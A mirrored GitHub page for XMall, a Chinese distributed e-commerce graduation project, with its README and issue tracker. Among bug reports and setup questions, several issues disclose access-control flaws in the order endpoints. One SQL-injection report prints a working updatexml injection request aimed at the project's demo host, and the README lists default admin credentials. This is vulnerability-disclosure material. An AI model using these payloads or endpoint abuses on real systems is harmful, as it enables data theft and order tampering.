Code Monkey home page Code Monkey logo

xmall's Introduction

XMall

AUR GitHub stars GitHub forks

作者本科毕业设计项目 期待您的捐赠支持

项目已部署,在线Demo

单体版获取

  • 单体XMall系统 非分布式 可跑在1g1核服务器上
  • 获取方式:进入商城 http://xmall.exrick.cn/ 登陆后随意测试支付商品 填写捐赠信息 支付成功后将自动发至您填写的邮箱

前台页面为基于Vue的独立项目 请跳转至 xmall-front 项目仓库查看

作者其他项目推荐

基于SOA架构的分布式购物电商商城

  • 后台管理系统:管理商品、订单、类目、商品规格属性、用户、权限、系统统计、系统日志以及前台内容等功能
  • 前台系统:用户可以在前台系统中进行注册、登录、浏览商品、首页、下单等操作
  • 会员系统:用户可以在该系统中查询已下的订单、管理订单、我的优惠券等信息
  • 订单系统:提供下单、查询订单、修改订单状态、定时处理订单
  • 搜索系统:提供商品的搜索功能
  • 单点登录系统:为多个系统之间提供用户登录凭证以及查询登录用户的信息

v1.1更新日志(需更新前后台代码及SQL)

  • 接入自己开源的XPay个人免签收款支付系统
  • 更新Dubbo(2.6.1)、ES(6.2.3)等依赖版本
  • 取消ES需在页面中配置及跨域问题,ES默认配置集群名改为原elasticsearch
  • 修复后台统计热卖商品SQL错误,xmall-front-web模块支持SpringMVC文件上传配置
  • 修改金额字段类型优化SQL与备注
  • 优化后台页面 修复用户修改BUG 优化批量删除 优化商品分类添加
  • 重构首页,后台可配置,包括3D轮播图
  • 后台新增缓存管理功能菜单 完成订单打印发货等功能,实现快递管理
  • 增添订单统计报表
  • 修复前后端分离极验验证码session存储问题
  • 实现ES IK分词插件扩展词典库管理 增添限流
  • 2018.7.22 取消快速搜索接口需前端配置 发送邮件端口改为465
  • 2018.7.27 首页导航栏可后台配置
  • 2019.10.06 修复分类管理BUG 开源小程序前端
  • 注:SKU设计预计将在小程序后台实现
  • 极验验证码移除文档

项目架构及功能模块图

前端所用技术

  • 后台页面
  • 前台页面
    • 详情请跳转至 xmall-front 项目仓库
    • 感谢 yucccc 的开源 vue-mall 项目提供前端页面及框架支持
    • Vue2 + Vuex + Vue Router + Element UI + ES6 + webpack + axios + Node.js

后端所用技术

各框架依赖版本皆使用目前最新版本 可进入xmall-parent中 pom.xml 查看

文件说明

  • xmall 文件夹提供部分依赖与sql文件
    • xmall.sql:数据库文件
    • dubbo.xsd:需手动配置避免报错
    • redis-3.0.0.gem:Redis集群搭建所需Ruby库
  • generatorSqlmapCustom 文件夹为 Mybatis Generator 逆向生成工具,且已配置好maven插件

本地开发运行部署

  • 下载zip直接解压或安装git后执行克隆命令 git clone https://github.com/Exrick/xmall.git
  • 安装各中间件并启动:ZooKeeperRedisActiveMQElasticsearch
  • 修改各配置文件相应依赖IP配置(默认本地127.0.0.1),以及七牛云、极验配置、天气接口在 xmall-common - utils 中找到修改,XPay邮箱配置在 manager-service与sso-service
  • Maven安装和在IDEA中配置
  • 使用IDEA(破解/免费注册) File-Open 直接打开xmall项目,点击右下角 Import Changes 等待安装完依赖即可
  • MySQL数据库新建 xmall 数据库,运行sql文件,注意在有 db.properties 的模块中修改你的数据库连接配置
  • 按照依赖顺序分别在每个模块文件夹根目录执行 mvn install 命令
  • 项目需运行除 xmall-parent xmall-common 以外其它所有6个服务,且都已配置好Tomcat插件, 执行命令 mvn tomcat7:run 或在IDEA中使用插件(View - Tool Buttons - 右侧菜单Maven Projects - tomcat7 - tomcat7:run)运行即可,当然可自行配置
  • 后端管理系统默认端口8888 http://localhost:8888 管理员账密admin|123456
  • 前端项目接口默认端口7777 前台页面请启动基于Vue的 xmall-front 项目,并修改其接口配置

相关技术点说明

  • ES-IK分词插件词典库扩展

    • 详见 elasticsearch-analysis-ik插件作者项目README说明
    • 本项目中扩展接口和禁用词接口分别为 http://localhost:8888/getDictListhttp://localhost:8888/getStopDictList,将以上2个接口配置进IK插件扩展配置文件{conf}/analysis-ik/config/IKAnalyzer.cfg.xml 或者 {plugins}/elasticsearch-analysis-ik-*/config/IKAnalyzer.cfg.xml中即可,示例:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
    <properties>
        <comment>IK Analyzer 扩展配置</comment>
        <!--用户可以在这里配置远程扩展字典 -->
        <entry key="remote_ext_dict">http://localhost:8888/getDictList</entry>
        <!--用户可以在这里配置远程扩展停止词字典-->
        <entry key="remote_ext_stopwords">http://localhost:8888/getStopDictList</entry>
    </properties>
  • 限流

    • xmall-front-web 中已配置限流,配置文件 resource.properties 中可配置全局限流,示例:

      #启用全局限流
      xmall.rateLimit.enable=true
      #每1秒内
      xmall.rateLimit.timeout=1000
      #限制10个请求
      xmall.rateLimit.limit=10
    • 指定方法限流注解

      @RateLimiter(limit = 1, timeout = 5000)
    • 支持多维度IP、uid等限流 详见代码

技术疑问交流

  • QQ交流群 475743731(付费),可获取各项目详细图文文档、xmall毕设PPT

  • 免费交流群 562962309

  • 作者博客:http://blog.exrick.cn

商用授权

  • 个人学习使用遵循GPL开源协议
  • 商用需联系作者低价授权

xmall's People

Contributors

exrick avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

xmall's Issues

【BUG】商品库存超售问题

目前方案存在的问题,为什么

  • 虽然MySQL任意隔离级别都可避免更新丢失,但并发量高的时候仍会存在数据库的丢失更新造成超售问题

如何解决/优化

  • 隔离级别最高SERIALIZABLE,但串行不可取
  • 乐观锁 update x set num = x where id = x and num = 原库存数,单表推荐
  • 若要处理多个表可使用分布式锁,参考xboot项目
  • 秒杀场景:使用Redis事务+watch

[security vulnerability] Arbitrary Order Addition Vulnerability

Recently, our team found an arbitrary order addition vulnerability in the latest version of the project.

The vulnerability logic is present in the file:
https://github.com/Exrick/xmall/blob/master/xmall-front-web/src/main/java/cn/exrick/front/controller/OrderController.java#L46
Access to the /member/addOrder API is unauthorized, allowing attackers to add orders as any user via a crafted orderInfo object.

image
image

To address this vulnerability, we strongly recommend that developers implement access control policies to limit the order addition operation.

权限验证

很多用户相关的操作都没有进行权限验证。项目中token基本没有用到

坐等大佬单体版xmall

大佬的商城自动发送邮件的功能这部分可能出故障了,希望大佬看到后发一份单体版的xmall,时间有点紧急,麻烦了

搜索出错

你好,单机版本的搜索功能一直提示出错,请问是否有修正

搜索

大神。el-autocomplete,搜索线上没实现,是功能没完善吗?

[Security Vulnerability] Arbitrary Order Free Payment Vulnerability

Recently, our team found an arbitrary order free payment vulnerability in the latest version of the project. The vulnerability logic is located within the following file:
https://github.com/Exrick/xmall/blob/master/xmall-front-web/src/main/java/cn/exrick/front/controller/OrderController.java#L70

Unauthorized access to the /member/payOrder API allows attackers to manipulate the POST parameter tbThanks, thereby altering the payment status of any order, resulting in unauthorized free payments.

image

To mitigate this vulnerability, we strongly recommend that developers implement access control policies to restrict changes to the payment status.

[security vulnerability] Arbitrary Order Deletion Vulnerability

Recently, our team found an arbitrary order deletion vulnerability in the latest version of the project.

The vulnerability logic is present in the file: https://github.com/Exrick/xmall/blob/master/xmall-front-web/src/main/java/cn/exrick/front/controller/OrderController.java#L62
Unauthorized access to the /member/delOrder API enables attackers to manipulate the query param orderId and delete orders belonging to other users.

image
image

To address this vulnerability, we strongly recommend that developers implement access control policies to ensure that only privileged users or the order owner are authorized to perform the delete operation.

请教这个错误怎么回事

org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'shiroFilter': Unsatisfied dependency expressed through field 'systemService'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'systemService': FactoryBean threw exception on object creation; nested exception is java.lang.IllegalStateException: Failed to check the status of the service cn.exrick.manager.service.SystemService. No provider available for the service cn.exrick.manager.service.SystemService from the url zookeeper://127.0.0.1:2181/com.alibaba.dubbo.registry.RegistryService?application=xmall-manager-web&dubbo=2.6.1&interface=cn.exrick.manager.service.SystemService&methods=countLog,deleteLog,getLogList,updateBase,getWeekHot,getShiroFilter,countShiroFilter,addLog,addShiroFilter,getBase,updateShiroFilter,deleteShiroFilter&pid=42124&register.ip=169.254.135.39&revision=1.0-SNAPSHOT&side=consumer&timestamp=1529023738625 to the consumer 169.254.135.39 use dubbo version 2.6.

SQL Injection Vulnerability exists in multiple interfaces of xmall

[Suggested description]
Xmall was discovered to contain a SQL injection vulnerability via the orderDir parameter.

[Vulnerability Type]
SQLi

[Vendor of Product]
https://github.com/Exrick/xmall

[Affected Product Code Base]
all version

[Affected Component]

  • /item/list
  • /item/listSearch
  • /sys/log
  • /order/list
  • /member/list (need time-based blind injection)
  • /member/list/remove

[Attack Type]
Remote

[Vulnerability details]
Send the payload below to the interface /item/list

GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_=1679041197136 HTTP/1.1
Host: xmadmin.exrick.cn
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Referer: http://xmadmin.exrick.cn/product-list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,or;q=0.7
Cookie: JSESSIONID=359A406116392BB0456356EFBCF068FC
Connection: close

image

[Impact Code execution]
true

[Cause of vulnerability]
In the /item/list interface, the order[0][dir] parameter is not filtered and passed into the getItemList function.
image
Then it is passed into the selectItemByCondition function.
image
In xmall-manager\xmall-manager-dao\src\main\java\cn\exrick\manager\mapper\TbItemMapper.xml, the orderDir parameter is used in ${} format, leading to a SQL injection vulnerability.
image

And there are the other similar interfaces:

  • /item/listSearch
  • /sys/log
  • /order/list
  • /member/list (need time-based blind injection)
  • /member/list/remove (need time-based blind injection)

That's all, thanks.

【丢失文件】登录页面丢失gt.js

GET http://localhost:8888/lib/gt.js net::ERR_ABORTED
导致
$.ajax({ url: '/geetestInit?t=' + (new Date()).getTime(), // 加随机数防止缓存 type: "GET", dataType: 'json', success: function (data) { initGeetest({ gt: data.gt, challenge: data.challenge, new_captcha: data.new_captcha, // 用于宕机时表示是新验证码的宕机 offline: !data.success, // 表示用户后台检测极验服务器是否宕机,一般不需要关注 product: "popup", // 产品形式,包括:float(点击汉字),popup(滑动) width: "100%" }, handler); } });
这里无法初始化

【待改进】购物车持久化方案

目前方案存在的问题,为什么

  • 目前使用Redis存储购物车数据,内存数据宝贵,购物车数据后期可能很大

如何解决/优化

  • 使用MySQL或MongoDB

搜索报no such index错误

[item] IndexNotFoundException[no such index]
at org.elasticsearch.cluster.metadata.IndexNameExpressionResolver$WildcardExpressionResolver.indexNotFoundException(IndexNameExpressionResolver.java:728)
at org.elasticsearch.cluster.metadata.IndexNameExpressionResolver$WildcardExpressionResolver.innerResolve(IndexNameExpressionResolver.java:680)
at org.elasticsearch.cluster.metadata.IndexNameExpressionResolver$WildcardExpressionResolver.resolve(IndexNameExpressionResolver.java:636)
at org.elasticsearch.cluster.metadata.IndexNameExpressionResolver.concreteIndices(IndexNameExpressionResolver.java:163)
at org.elasticsearch.cluster.metadata.IndexNameExpressionResolver.concreteIndices(IndexNameExpressionResolver.java:138)
at org.elasticsearch.action.search.TransportSearchAction.resolveLocalIndices(TransportSearchAction.java:287)
at org.elasticsearch.action.search.TransportSearchAction.executeSearch(TransportSearchAction.java:301)
at org.elasticsearch.action.search.TransportSearchAction.lambda$doExecute$4(TransportSearchAction.java:193)
at org.elasticsearch.action.ActionListener$1.onResponse(ActionListener.java:60)
at org.elasticsearch.index.query.Rewriteable.rewriteAndFetch(Rewriteable.java:114)
at org.elasticsearch.index.query.Rewriteable.rewriteAndFetch(Rewriteable.java:87)
at org.elasticsearch.action.search.TransportSearchAction.doExecute(TransportSearchAction.java:215)
at org.elasticsearch.action.search.TransportSearchAction.doExecute(TransportSearchAction.java:68)
at org.elasticsearch.action.support.TransportAction$RequestFilterChain.proceed(TransportAction.java:167)
at org.elasticsearch.xpack.security.action.filter.SecurityActionFilter.apply(SecurityActionFilter.java:124)
at org.elasticsearch.action.support.TransportAction$RequestFilterChain.proceed(TransportAction.java:165)
at org.elasticsearch.action.support.TransportAction.execute(TransportAction.java:139)
at org.elasticsearch.action.support.HandledTransportAction$TransportHandler.messageReceived(HandledTransportAction.java:83)
at org.elasticsearch.action.support.HandledTransportAction$TransportHandler.messageReceived(HandledTransportAction.java:73)
at org.elasticsearch.xpack.security.transport.SecurityServerTransportInterceptor$ProfileSecuredRequestHandler$1.doRun(SecurityServerTransportInterceptor.java:250)
at org.elasticsearch.common.util.concurrent.AbstractRunnable.run(AbstractRunnable.java:37)
at org.elasticsearch.xpack.security.transport.SecurityServerTransportInterceptor$ProfileSecuredRequestHandler.messageReceived(SecurityServerTransportInterceptor.java:308)
at org.elasticsearch.transport.RequestHandlerRegistry.processMessageReceived(RequestHandlerRegistry.java:66)
at org.elasticsearch.transport.TcpTransport$RequestHandler.doRun(TcpTransport.java:1288)
at org.elasticsearch.common.util.concurrent.AbstractRunnable.run(AbstractRunnable.java:37)
at org.elasticsearch.common.util.concurrent.EsExecutors$1.execute(EsExecutors.java:140)
2019-10-12 09:39:48,654 [DubboServerHandler-172.21.63.129:20882-thread-15] [com.alibaba.dubbo.rpc.filter.ExceptionFilter]-[ERROR] [DUBBO] Got unchecked and undeclared exception which called by 172.21.63.129. service: cn.exrick.search.service.SearchService, method: search, exception: cn.exrick.common.exception.XmallException: 查询ES索引库出错, dubbo version: 2.6.1, current host: 172.21.63.129
at org.elasticsearch.transport.TcpTransport.handleRequest(TcpTransport.java:1246)
cn.exrick.common.exception.XmallException: 查询ES索引库出错
at org.elasticsearch.transport.TcpTransport.messageReceived(TcpTransport.java:1110)
at cn.exrick.search.service.impl.SearchServiceImpl.search(SearchServiceImpl.java:176)
at org.elasticsearch.transport.TcpTransport.inboundMessage(TcpTransport.java:913)
at org.elasticsearch.transport.netty4.Netty4MessageChannelHandler.channelRead(Netty4MessageChannelHandler.java:53)
at com.alibaba.dubbo.common.bytecode.Wrapper1.invokeMethod(Wrapper1.java)
at com.alibaba.dubbo.rpc.proxy.javassist.JavassistProxyFactory$1.doInvoke(JavassistProxyFactory.java:45)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
at com.alibaba.dubbo.rpc.proxy.AbstractProxyInvoker.invoke(AbstractProxyInvoker.java:71)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
at com.alibaba.dubbo.config.invoker.DelegateProviderMetaDataInvoker.invoke(DelegateProviderMetaDataInvoker.java:48)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340)
at com.alibaba.dubbo.rpc.protocol.InvokerWrapper.invoke(InvokerWrapper.java:52)
at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:323)
at com.alibaba.dubbo.rpc.filter.ExceptionFilter.invoke(ExceptionFilter.java:61)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:297)
at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
at com.alibaba.dubbo.monitor.support.MonitorFilter.invoke(MonitorFilter.java:74)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340) at com.alibaba.dubbo.rpc.filter.TimeoutFilter.invoke(TimeoutFilter.java:41)

at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.handler.logging.LoggingHandler.channelRead(LoggingHandler.java:241)
at com.alibaba.dubbo.rpc.protocol.dubbo.filter.TraceFilter.invoke(TraceFilter.java:77)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
at com.alibaba.dubbo.rpc.filter.ContextFilter.invoke(ContextFilter.java:71)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340)
at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1434)
at com.alibaba.dubbo.rpc.filter.GenericFilter.invoke(GenericFilter.java:131)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
at com.alibaba.dubbo.rpc.filter.ClassLoaderFilter.invoke(ClassLoaderFilter.java:37)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:965)
at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:163)
at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:656)
at com.alibaba.dubbo.rpc.filter.EchoFilter.invoke(EchoFilter.java:37)
at com.alibaba.dubbo.rpc.protocol.ProtocolFilterWrapper$1.invoke(ProtocolFilterWrapper.java:68)
at io.netty.channel.nio.NioEventLoop.processSelectedKeysPlain(NioEventLoop.java:556)
at com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol$1.reply(DubboProtocol.java:102)
at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:510)
at com.alibaba.dubbo.remoting.exchange.support.header.HeaderExchangeHandler.handleRequest(HeaderExchangeHandler.java:96)
at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:470)
at com.alibaba.dubbo.remoting.exchange.support.header.HeaderExchangeHandler.received(HeaderExchangeHandler.java:168)
at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:909)
at com.alibaba.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:50)
at java.lang.Thread.run(Thread.java:745)
at com.alibaba.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:79)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)

声明

此项目将作为作者2018年本科毕业设计项目,现提前开源,请勿盗用。完成毕业设计后将完成部署、完善详细文档、项目架构等内容。

👍

能够将视频教程,改造成这样的开源项目确实牛逼。膜拜下作者👍

购物车实现

请问你的购物车商品数据是直接放在redis而没有持久化到mysql吗?如果是这样的话是否合理呢?

[security vulnerability] Arbitrary Order Detail Access Vulnerability

Recently, our team found an arbitrary order detail access vulnerability in the latest version of the project.

The vulnerability logic is present in the file:
https://github.com/Exrick/xmall/blob/master/xmall-front-web/src/main/java/cn/exrick/front/controller/OrderController.java#L28

Access to the /member/orderList API is unauthorized, allowing attackers to manipulate the query param userId and access other users' order details, potentially compromising user privacy data.

image
image

To address this vulnerability, we strongly recommend that developers implement access control policies to ensure that only privileged users or the owner can access the order information.

[security vulnerability] Arbitrary Order Cancel Vulnerability

Recently, our team found an arbitrary order cancel vulnerability in the latest version of the project.

The vulnerability logic is present in the file: https://github.com/Exrick/xmall/blob/master/xmall-front-web/src/main/java/cn/exrick/front/controller/OrderController.java#L54
Unauthorized access to the /member/cancelOrder API enables attackers to manipulate the post param order and cancel orders belonging to other users.

image
image

To address this vulnerability, we strongly recommend that developers implement access control policies to ensure that only privileged users or the order owner are authorized to perform the cancel operation.

[security vulnerability] Arbitrary Order Detail Access Vulnerability

Recently, our team found an arbitrary order detail access vulnerability (different with #79) in the latest version of the project.
The vulnerability logic is present in the file:
https://github.com/Exrick/xmall/blob/master/xmall-front-web/src/main/java/cn/exrick/front/controller/OrderController.java#L36

The developer failed to check the ownership of the order with the access user when querying the order details via orderService.getOrder(), allowing attackers to manipulate the query param orderId of API /member/orderDetail and access other users' order details, potentially compromising user privacy data.

image
image

To address this vulnerability, we strongly recommend that developers implement access control policies to ensure that only privileged users or the owner can access the order information.

单体版本问题

{"success":false,"message":"你手速怎么这么快,请点慢一点","code":500,"timestamp":1545190498198,"result":null} 是啥问题

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.